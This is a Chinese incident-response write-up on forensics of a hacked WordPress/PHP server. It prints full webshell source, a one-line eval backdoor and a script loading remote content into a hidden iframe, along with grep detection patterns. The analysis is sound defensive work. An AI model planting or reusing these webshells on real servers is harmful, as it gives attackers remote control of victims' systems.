一次服务器被攻击的应急行动

服务器 安全
如果你的PHP服务器被黑客入侵时该怎么办?这是我最近处理linux web服务器发现的一个问题。PHP服务器被黑时,会出现新的PHP文件,这与运行在服务器上的wordpress应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点。

如果你的PHP服务器被黑客入侵时该怎么办?这是我最近处理linux web服务器发现的一个问题。PHP服务器被黑时,会出现新的PHP文件,这与运行在服务器上的wordpress应用程序和特定的用户代理没有任何关系,所有的流量都被重定向到另一个站点。

[[206662]]

应急准备

在第一次被攻击之后,我已经禁用了所有他所检测到的恶意文件,并修复了重定向,直到服务器再次被黑客攻击。

为此,要将这些应用程序转移到新的设备进行分析,我必须在原系统上对下列3个线索进行取证:

应用仍然在运行;

应用至少被黑过两次;

应用已经被管理员大量修改过了。

不过要说明的是,我的目的不是要建立一个合法有效的保护机制,而是要确定:

确定系统是否被破坏,如果被破坏,则删除或屏蔽与此相关的所有内容;

检测哪些文件被修改以避免将受感染的文件转移到新的主机;

理想情况下,初始攻击向量被阻止;

在获得域名、IP和SSH证书后,我就开始收集被黑的证据了。

收集证据

在连接到服务器之前,我注意到我的IP,以确保以后能够在日志中把它区分开。

然后通过SFTP连接,由于服务器的磁盘安装和运行,我无法进行映像。所以我下载了所有我可以得到的日志文件以及其他感兴趣的文件。我复制了整个/ var/log/目录,并从虚拟主机根文档所在的目录中复制了Apache特定的日志文件。我复制了被黑的PHP应用程序,以及在事件发生后不久的一些备份。不幸的是,我没有对管理员所做的更改进行备份,因此一些关键的文件可能已经被修改了。

我启动了Kali并运行了一个具有portscan端口扫描器程序的Nmap扫描,另外我还安装WPScan。因为服务器运行的是一个旧的Wordpress实例,而且这个实例也执行了重定向,所以Wordpress看起来很可能是攻击的初始点。然而,自从Wordpress在黑客攻击后已经更新,WPScan没有发现任何当前的漏洞。portscan为FTP、SSH、HTTP和HTTPS提供了开放端口,而这在web服务器上是不可能的。然而,我在wp - content目录下发现了所有的shell,在某种程度上,这意味着Wordpress应用程序已经被破坏。

我还检查了VirusTotal,看看网站是否传播了恶意软件,但一切似乎都很正常。

于是我决定通过控制台登录系统,但前提是我不知道服务器上的二进制文件是否被感染了,因此为了减少取证的影响,我带来了我自己的静态链接二进制文件。我从busybox下载了二进制coreutil,并将它们上传到了服务器上。我还通过SLEUTH Kit上传了chkrootkit和一个叫做mac-robber 的工具。

我使用静态二进制文件来检查系统,得到一个运行流程列表,cronjob……

netstat -tulpen 
  • 1.

为了得到一个监控列表(tcp和udp)进程,我没有涵盖portscan中的所有端口,因此这里的输出可能很有趣。

netstat -taupn 
  • 1.

从服务器显示活动的传出连接(tcp和udp),然而,这两个清单都没有显示可疑的活动。

对 chkrootkit进行rootkit检测,也没有找到任何东西。rkhunter和clamav也没有产生任何异常。ClamAV(Linux杀毒软件)也没有检测到php shell和windows木马程序。

虽然我很努力,但到目前为止还没有发现异常打开的端口,异常的进程运行。于是,我和一个管理员核实了FTP和ssh 帐号,这些账号看起来也很正常。

但我并没有放弃,在使用了mac-robber工具后,我收集了在服务器上创建和修改的文件信息(稍后可以用来创建事件的时间轴):

./mac-robber / > /root/forensics/timeline.txt 
  • 1.

截至目前,我收集的证据包括:

关于在服务器上何时创建了哪些文件的信息各种日志文件,其中包括Apache日志受损网站的源代码,包括一些修改的shell在第一次和第二次攻击之间备份的信息

分析证据

由于已经发现了攻击者放置的一些webshell,在经过分析后。我认为,这些文件很像Xjrop.php, Nwfqx.php 或Rwchn7.php,并且很可能驻留在常规应用程序文件。然而,也有一个up.php文件被调用,它提供了一个相似的目的,但有其他的源代码。而Xjrop.php, Nwfqx.php和Rwchn7.php是一样的, up.php是另一种具有略微不同功能的shell。用diff 命令,比较文件:

diff Xjrop.php Nwfqx.php

或者通过比较他们的md5sum比较:

md5sum Xjrop.phpmd5sum Nwfqx.php

还有2个文件—— bjrnpf.php和jemkwl.php,这些都是相同的,但不同于其他文件。一个可疑的可执行文件被命名为windoze,我怀疑是一些恶意软件可能是从这个主机分发的。我构建了这个文件的md5sum,并检查了VirusTotal的哈希值,注意,在VirusTotal上上传的文件可以被其他研究人员看到,因此是公开的。VirusTotal认为这个文件是木马,为了以后的分析,我保存了它。

一些PHP shell看起来如下所示:

<?php 
set_time_limit(0); 
error_reporting(0); 
if(get_magic_quotes_gpc()){ 
    foreach($_POST as $key=>$value){ 
        $_POST[$key] = stripslashes($value); 
    } 

echo '<!DOCTYPE HTML> 
<HTML> 
<HEAD> 
<link href="" rel="stylesheet" type="text/css"
<title>404-server!!</title> 
<style> 
body{ 
    font-family: "Racing Sans One", cursive; 
    background-color: #e6e6e6; 
    text-shadow:0px 0px 1px #757575; 

#content tr:hover{ 
    background-color: #636263; 
    text-shadow:0px 0px 10px #fff; 

#content .first
    background-color: silver; 

#content .first:hover{ 
    background-color: silver; 
    text-shadow:0px 0px 1px #757575; 

table
    border: 1px #000000 dotted; 

H1{ 
    font-family: "Rye", cursive; 

a{ 
    color: #000; 
    text-decoration: none; 

a:hover{ 
    color: #fff; 
    text-shadow:0px 0px 10px #ffffff; 

input,select,textarea{ 
    border: 1px #000000 solid; 
    -moz-border-radius: 5px; 
    -webkit-border-radius:5px; 
    border-radius:5px; 

</style> 
</HEAD> 
<BODY> 
<H1><center>config root man</center></H1> 
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
<tr><td>Current Path : '; 
if(isset($_GET['path'])){ 
    $path = $_GET['path'];    
}else
    $path = getcwd(); 

$path = str_replace('','/',$path); 
$paths = explode('/',$path); 
foreach($paths as $id=>$pat){ 
    if($pat == '' && $id == 0){ 
        $a = true
        echo '<a href="?path=/">/</a>'
        continue
    } 
    if($pat == ''continue
    echo '<a href="?path='
    for($i=0;$i<=$id;$i++){ 
        echo "$paths[$i]"
        if($i != $id) echo "/"
    } 
    echo '">'.$pat.'</a>/'

echo '</td></tr><tr><td>'
if(isset($_FILES['file'])){ 
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ 
        echo '<font color="green">File Upload Done.</font><br />'
    }else
        echo '<font color="red">File Upload Error.</font><br />'
    } 

echo '<b><br>'.php_uname().'<br></b>'
echo '<form enctype="multipart/form-data" method="POST"
Upload File : <input type="file" name="file" /> 
<input type="submit" value="upload" /> 
</form> 
</td></tr>'; 
if(isset($_GET['filesrc'])){ 
    echo "<tr><td>Current File : "
    echo $_GET['filesrc']; 
    echo '</tr></td></table><br />'
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); 
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ 
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />'
    if($_POST['opt'] == 'chmod'){ 
        if(isset($_POST['perm'])){ 
            if(chmod($_POST['path'],$_POST['perm'])){ 
                echo '<font color="green">Change Permission Done.</font><br />'
            }else
                echo '<font color="red">Change Permission Error.</font><br />'
            } 
        } 
        echo '<form method="POST"
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" /> 
        <input type="hidden" name="path" value="'.$_POST['path'].'"
        <input type="hidden" name="opt" value="chmod"
        <input type="submit" value="Go" /> 
        </form>'; 
    }elseif($_POST['opt'] == 'rename'){ 
        if(isset($_POST['newname'])){ 
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ 
                echo '<font color="green">Change Name Done.</font><br />'
            }else
                echo '<font color="red">Change Name Error.</font><br />'
            } 
            $_POST['name'] = $_POST['newname']; 
        } 
        echo '<form method="POST"
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> 
        <input type="hidden" name="path" value="'.$_POST['path'].'"
        <input type="hidden" name="opt" value="rename"
        <input type="submit" value="Go" /> 
        </form>'; 
    }elseif($_POST['opt'] == 'edit'){ 
        if(isset($_POST['src'])){ 
            $fp = fopen($_POST['path'],'w'); 
            if(fwrite($fp,$_POST['src'])){ 
                echo '<font color="green">Edit File Done.</font><br />'
            }else
                echo '<font color="red">Edit File Error.</font><br />'
            } 
            fclose($fp); 
        } 
        echo '<form method="POST"
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> 
        <input type="hidden" name="path" value="'.$_POST['path'].'"
        <input type="hidden" name="opt" value="edit"
        <input type="submit" value="Go" /> 
        </form>'; 
    } 
    echo '</center>'
}else
    echo '</table><br /><center>'
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ 
        if($_POST['type'] == 'dir'){ 
            if(rmdir($_POST['path'])){ 
                echo '<font color="green">Delete Dir Done.</font><br />'
            }else
                echo '<font color="red">Delete Dir Error.</font><br />'
            } 
        }elseif($_POST['type'] == 'file'){ 
            if(unlink($_POST['path'])){ 
                echo '<font color="green">Delete File Done.</font><br />'
            }else
                echo '<font color="red">Delete File Error.</font><br />'
            } 
        } 
    } 
    echo '</center>'
    $scandir = scandir($path); 
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"
    <tr class="first"
        <td><center>Name</center></td> 
        <td><center>Size</center></td> 
        <td><center>Permissions</center></td> 
        <td><center>Options</center></td> 
    </tr>'; 
    foreach($scandir as $dir){ 
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..'continue
        echo "<tr> 
        <td><a href="?path=$path/$dir">$dir</a></td> 
        <td><center>--</center></td> 
        <td><center>"; 
        if(is_writable("$path/$dir")) echo '<font color="green">'
        elseif(!is_readable("$path/$dir")) echo '<font color="red">'
        echo perms("$path/$dir"); 
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'
         
        echo "</center></td> 
        <td><center><form method="POST" action="?option&path=$path"
        <select name="opt"
    <option value=""></option
        <option value="delete">Delete</option
        <option value="chmod">Chmod</option
        <option value="rename">Rename</option
        </select
        <input type="hidden" name="type" value="dir"
        <input type="hidden" name="name" value="$dir"
        <input type="hidden" name="path" value="$path/$dir"
        <input type="submit" value=">" /> 
        </form></center></td> 
        </tr>"; 
    } 
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'
    foreach($scandir as $file){ 
        if(!is_file("$path/$file")) continue
        $size = filesize("$path/$file")/1024; 
        $size = round($size,3); 
        if($size >= 1024){ 
            $size = round($size/1024,2).' MB'
        }else
            $size = $size.' KB'
        } 
        echo "<tr> 
        <td><a href="?filesrc=$path/$file&path=$path">$file</a></td> 
        <td><center>".$size."</center></td> 
        <td><center>"; 
        if(is_writable("$path/$file")) echo '<font color="green">'
        elseif(!is_readable("$path/$file")) echo '<font color="red">'
        echo perms("$path/$file"); 
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'
        echo "</center></td> 
        <td><center><form method="POST" action="?option&path=$path"
        <select name="opt"
    <option value=""></option
        <option value="delete">Delete</option
        <option value="chmod">Chmod</option
        <option value="rename">Rename</option
        <option value="edit">Edit</option
        </select
        <input type="hidden" name="type" value="file"
        <input type="hidden" name="name" value="$file"
        <input type="hidden" name="path" value="$path/$file"
        <input type="submit" value=">" /> 
        </form></center></td> 
        </tr>"; 
    } 
    echo '</table
    </div>'; 

echo '<br />Man Man <br /> 
</BODY> 
</HTML>'; 
function perms($file){ 
    $perms = fileperms($file); 
if (($perms & 0xC000) == 0xC000) { 
    // Socket 
    $info = 's'
} elseif (($perms & 0xA000) == 0xA000) { 
    // Symbolic Link 
    $info = 'l'
} elseif (($perms & 0x8000) == 0x8000) { 
    // Regular 
    $info = '-'
} elseif (($perms & 0x6000) == 0x6000) { 
    // Block special 
    $info = 'b'
} elseif (($perms & 0x4000) == 0x4000) { 
    // Directory 
    $info = 'd'
} elseif (($perms & 0x2000) == 0x2000) { 
    // Character special 
    $info = 'c'
} elseif (($perms & 0x1000) == 0x1000) { 
    // FIFO pipe 
    $info = 'p'
else { 
    // Unknown 
    $info = 'u'

// Owner 
$info .= (($perms & 0x0100) ? 'r' : '-'); 
$info .= (($perms & 0x0080) ? 'w' : '-'); 
$info .= (($perms & 0x0040) ? 
            (($perms & 0x0800) ? 's' : 'x' ) : 
            (($perms & 0x0800) ? 'S' : '-')); 
// Group 
$info .= (($perms & 0x0020) ? 'r' : '-'); 
$info .= (($perms & 0x0010) ? 'w' : '-'); 
$info .= (($perms & 0x0008) ? 
            (($perms & 0x0400) ? 's' : 'x' ) : 
            (($perms & 0x0400) ? 'S' : '-')); 
// World 
$info .= (($perms & 0x0004) ? 'r' : '-'); 
$info .= (($perms & 0x0002) ? 'w' : '-'); 
$info .= (($perms & 0x0001) ? 
            (($perms & 0x0200) ? 't' : 'x' ) : 
            (($perms & 0x0200) ? 'T' : '-')); 
    return $info; 

?> 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110.
  • 111.
  • 112.
  • 113.
  • 114.
  • 115.
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.
  • 121.
  • 122.
  • 123.
  • 124.
  • 125.
  • 126.
  • 127.
  • 128.
  • 129.
  • 130.
  • 131.
  • 132.
  • 133.
  • 134.
  • 135.
  • 136.
  • 137.
  • 138.
  • 139.
  • 140.
  • 141.
  • 142.
  • 143.
  • 144.
  • 145.
  • 146.
  • 147.
  • 148.
  • 149.
  • 150.
  • 151.
  • 152.
  • 153.
  • 154.
  • 155.
  • 156.
  • 157.
  • 158.
  • 159.
  • 160.
  • 161.
  • 162.
  • 163.
  • 164.
  • 165.
  • 166.
  • 167.
  • 168.
  • 169.
  • 170.
  • 171.
  • 172.
  • 173.
  • 174.
  • 175.
  • 176.
  • 177.
  • 178.
  • 179.
  • 180.
  • 181.
  • 182.
  • 183.
  • 184.
  • 185.
  • 186.
  • 187.
  • 188.
  • 189.
  • 190.
  • 191.
  • 192.
  • 193.
  • 194.
  • 195.
  • 196.
  • 197.
  • 198.
  • 199.
  • 200.
  • 201.
  • 202.
  • 203.
  • 204.
  • 205.
  • 206.
  • 207.
  • 208.
  • 209.
  • 210.
  • 211.
  • 212.
  • 213.
  • 214.
  • 215.
  • 216.
  • 217.
  • 218.
  • 219.
  • 220.
  • 221.
  • 222.
  • 223.
  • 224.
  • 225.
  • 226.
  • 227.
  • 228.
  • 229.
  • 230.
  • 231.
  • 232.
  • 233.
  • 234.
  • 235.
  • 236.
  • 237.
  • 238.
  • 239.
  • 240.
  • 241.
  • 242.
  • 243.
  • 244.
  • 245.
  • 246.
  • 247.
  • 248.
  • 249.
  • 250.
  • 251.
  • 252.
  • 253.
  • 254.
  • 255.
  • 256.
  • 257.
  • 258.
  • 259.
  • 260.
  • 261.
  • 262.
  • 263.
  • 264.
  • 265.
  • 266.
  • 267.
  • 268.
  • 269.
  • 270.
  • 271.
  • 272.
  • 273.
  • 274.
  • 275.
  • 276.
  • 277.
  • 278.
  • 279.
  • 280.
  • 281.
  • 282.
  • 283.
  • 284.
  • 285.

你可能注意到了“404-server! !”的标题,利用谷歌搜索的结果可能是其他受感染的服务器:

有更多可疑的文件包含了看似无用的代码:

<?php @preg_replace("/[pageerror]/e",$_POST['mkf3wapa'],"saft"); ?> 
  • 1.

这行替换了字符串“saft”中的一个小写字母“saft”中的每一个匹配,并使用$ _POST变量mkf3wapa的内容。返回值被忽略,因此我不确定该代码片段的用法应该是什么。

然而,谷歌搜索结果显示,这段代码与404-server有关联! !上传shell并出现在相同的受损服务器上。因此,如果你在服务器上发现了这个代码,它可能是一个被攻击的标识,你应该进一步检查。

检查“404-Server!!“源代码使我得出结论,黑客提供了一个文件浏览器,它具有上传、查看和删除文件以及调整权限的功能。

通过检查这些文件的背后组织和开发者,我发现它们都是由PHP进程的所有者创建的,因此它们非常像PHP应用程序所创建的。

另一个被攻击的文件叫做way.php,它只是包含了来自另一个服务器的文件:

<?php 
$way = 'http://XXX.XXX.XXX.XXX/dir/index.php?52b019b=l3SKfPrfJxjFGMeDebmtF_FXPAzaHkyZxYufiaWSHJmkaWD8jvT5Sknh_QTIT1XW_r4'
$fd = @file($way); 
if ($fd !== false
if (isset($fd[0])) 
echo(' <iframe src="'.$fd[0].'" width="1" height="1" style="position:absolute;left:-1px;"></iframe> '); 
?> 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.

因此,这基本上是一种将外国html/javascript代码包含在该域下的方法。然而,恶意服务器向我展示了一个有趣的信息:

这可能是因为我没有使用正确的引用头,或者服务器不再为其恶意负载服务。

在一个html文件中,我发现:

<iframe src="way.php"></iframe> 
  • 1.

它只是用iframe方法插入了way.php的输出。

进一步寻找shell

以上这些文件因为它们异常的文件名被识别后,我开始通过应用程序代码来查找更多可疑的文件。特别是,你可能希望查找在服务器上执行命令的函数,例如:

  • passthru
  • exec
  • shell_exec
  • eval
  • system

并grep所有这些函数的文件:

egrep -rin "system|passthru|exec|shell_exec|eval" /var/www/vhosts/xyz/  >  
~/forensics/results_shell_grep.txt 
  • 1.
  • 2.

你经常看到人们只grep*.php文件,但这可能会遗漏很多信息,php文件可以有其他扩展,当只检查 *.php扩展时,就可能会忽略*.php5*, *.php4 或*.phps 。因此,如果条件允许,你最好能在所有文件中进行grep,或者在任何其他文件结束时提前搜索。也可能存在带有任意扩展的恶意文件,这些文件由更常规的php文件加载,因此你也应该尝试检测这些文件。

但是,请注意,由于这些文件没有直接执行代码,因此不会检测到混淆的文件和上传的shell。你可能会扩展你的搜索范围,减少一些可疑的函数。

fputs 
fwrite 
fopen (especially with URLs) 
chmod 
socket_* 
curl_* 
base64_decode 
gzinflate 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.

如果你有一个粗略的想法,当攻击发生的时候,你可能也想要寻找在那个日期之后被创建或修改的文件。

find -mtime -2 /directory 
  • 1.

根据在服务器文件上发生的常规更改,你可以很容易地以这种方式检测到更多的shell。

如果你已经发现了一些恶意文件,那么还可以使用检测到的文件的某些特性来寻找进一步的变体,比如,检查所有文件的字符串“404-Server!!”。

除了传统的杀毒软件扫描仪外,还有一种方法是使用基于yara的扫描仪,比如OWASP中的WebMalwareScanner。这些基本上是扫描文件,并以检测恶意代码的yara规则检查它们。为此,你需要在git中安装yara、python binding和WebMalwareScanner。在我的例子中,运行webmalewarescanner,可以在被破坏的PHP应用程序的源代码上产生了很多结果,我花了一些时间,但也正确地识别了三种类型的webshell中的两种。

root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep "webshell" 
[2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2 
[...] 
  • 1.
  • 2.
  • 3.

此外,还有一些wordpress插件试图检测出攻击方案,比如sucuri。我不想在已经损坏的系统上安装额外的插件,所以我没有尝试这个。

根据我的经验,在寻找webshell时,你应该始终结合不同的技术。有些有些文件很难识别,乍看上去合法的文件也可能有恶意的功能。你越了解被破坏的系统,就越容易检测到异常文件。

禁用攻击文件

收集完所有这些信息后,不要忘记将恶意文件渲染成无用的。我已经删除了所有用户的阅读和执行权限,但在系统运行了一段时间后,我将删除它们。系统中不应该留下任何损坏的文件,以防有人不小心将它们重新激活。

建立一个攻击时间表

在前面提到的mac-robber 工具之前,我已经检索了文件信息,我用mactime创建了这个信息的时间轴。

mactime -b timeline.txt 2017-06-01 > timeline_output.txt 
  • 1.

然后你会得到一长串看起来像以下的条目:

Fri Jun 30 2017 15:43:02      308 .a.. -rw-r--r-
- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
Fri Jun 30 2017 15:51:55      308 m.c. -rw-r--r-
- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/way.php 
Fri Jun 30 2017 16:07:47       31 m.c. -rw-r--r-
- 10000    1004     0        /var/www/vhosts/xyz/httpdocs/newmessage.html 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.

这是服务器上所有文件的非常有用的列表,包括所有者id、组id以及文件修改、访问和更改的时间戳。

请注意,在unix上,通常会获得文件访问时间、文件更改时间和文件修改时间(atime,ctime,mtime)。这些是在文件大小之后的mactime时间线文件中显示的,例如上面示例中的第二行中的m.c.。这意味着给定的日期会显示文件修改和更改时间。

在访问文件时设置a(atime);c(ctime)是在文件内容或权限发生更改时设置的;当文件内容发生了变化,而不是所有者或权限更改时,设置m;在创建文件时,设置b。

因此,mtime在文件最后写入时向我显示。但是,我不能确定它是否与文件创建日期相匹配。不幸的是,这里无法重新构造,因此我不能确定这是上传的时间,但是我可以确定,在周五,Jul 07文件已经在系统上了。在linux上,你可以使用工具stat来显示单个文件的这些信息。

还有一些与文件系统,文件访问,创建时间有关的副标题。首先,如果你的文件系统安装了noatime选项(你可以通过运行mount命令来解决这个问题),则不需要编写访问时间。虽然这能增加取证速度,但显然非常复杂。

然而,好消息是,根据你的文件系统,你可能能够找到文件创建时间。Ext4支持它,它在当前的linux服务器上很常见。但是没有一个用户工具可以很容易地显示它,而mactime也没有捕捉到它。但是,使用debugfs可以检索创建日期。为此,Igor Moiseev编写了一个名为xstat的便捷小脚本。

检查我的时间线,我可以知道第一个恶意的shell何时出现在系统上。

检查日志

我可以在日志中找到一些对这些工具的调用,主要来自亚洲IP地址,但由于POST数据没有被记录,我无法找到从apache日志中上传这些shell的文件。

寻找初始攻击向量

为了确定我是否能识别出最初的攻击,我使用了apache-scalp。这是一个较旧的工具,但仍然有效。它主要通过正则表达式匹配已知攻击向量的apache日志文件。

/opt/apache-scalp/scalp# python scalp.py -l  
/path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a  
lfi,rfi,sqli,dt -p "25/Jun/2017;05/Jul/2017" --output /root/scalp --html 
  • 1.
  • 2.
  • 3.

然而,在事件发生当天或之前,没有可疑的sql注入或lfi/rfi活动,可能会与其中一个可疑文件发生关系。

检查wordpress插件,我发现在漏洞被上传一个月前,至少有一个SEO插件安装了一个严重的shell。由于安装了很多插件,所以我编写了一个小脚本,来检查wordpress插件目录对wpvulndb.com的访问,并显示所有的漏洞。事实证明,有很多严重的漏洞,在没有足够的日志信息的情况下,很难追踪最初的向量。

[+] w3-total-cache 
     * [UNKNOWN] W3 Total Cache 0.9.2.4 - Username & Hash Extract 
        Fixed in: 0.9.2.5 
        + http://seclists.org/fulldisclosure/2012/Dec/242 
        + https://github.com/FireFart/W3TotalCacheExploit 
     * [RCE] W3 Total Cache - Remote Code Execution 
        Fixed in: 0.9.2.9 
        + http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/ 
        + http://wordpress.org/support/topic/pwn3d 
        + http://blog.sucuri.net/2013/04/update-wp-super-cache-and-w3tc-immediately-remote-code-execution-vulnerability-disclosed.html 
     * [CSRF] W3 Total Cache 0.9.4 - Edge Mode Enabling CSRF 
        Fixed in: 0.9.4.1 
        + http://seclists.org/fulldisclosure/2014/Sep/29 
     * [CSRF] W3 Total Cache <= 0.9.4 - Cross-Site Request Forgery (CSRF) 
        Fixed in: 0.9.4.1 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.

注意,脚本没有检查主题或wordpress核心漏洞,这也可能包含严重的漏洞。

总结

1.该系统已经被破坏了几个星期。在apache日志的shell中,最早的可见访问是在7月初;

2.我识别了各种受损的php文件和一个windows恶意软件;

3.至少有三种类型的shell被发现是攻击的指标;

4.windows恶意软件可能还没有传播;

5.服务器没有显示出明显的更深的感染迹象,从用户帐户来看,没有找到rootkit;

6.攻击可能被限制在webserver用户上。对于其他用户,我还没有任何攻击的迹象;

7.最初的攻击可能是过时的wordpress系统中最不安全的漏洞之一。

8.没有迹象表明其他用户通过shell访问了数据库或数据库凭据。但是,我不能排除有可能访问数据库的可能性。

9.一些可能是来自亚洲IPs的恶意活动(shell访问)

除了清理系统中的恶意文件,我也应用一些优化手段,比如更改密码和证书,安装一个主机id,执行定期扫描,主动监测服务器……。不过,你永远不会得到100%的安全性。特别是当你的服务器已经被破坏时,你所能做的最好的事情就是检查每一个来自非官方的备份或脚本。

责任编辑:武晓燕 来源: 嘶吼专业版
相关推荐

2022-09-14 12:01:35

服务器入侵篡改,

2019-08-01 15:05:22

2013-09-13 09:27:42

服务器LinuxApache

2014-01-16 16:22:34

2014-08-01 14:06:45

2010-04-28 17:14:52

Google服务器

2013-05-22 15:45:43

2022-02-17 11:19:33

Kubernetes服务器运维

2020-04-08 10:30:19

Linux 攻击 安全

2013-12-24 13:59:03

2020-03-22 15:17:17

服务器科技芯片

2018-03-02 10:42:44

服务器数据备份

2019-06-11 09:23:38

2009-08-14 10:22:50

2013-12-23 09:38:11

2020-03-14 14:17:01

服务器X86虚拟化

2016-09-08 22:54:14

2020-03-20 10:00:12

服务器网络攻击黑客

2018-03-19 08:46:52

2021-03-17 00:17:16

命令应急响应
点赞
收藏

51CTO技术栈公众号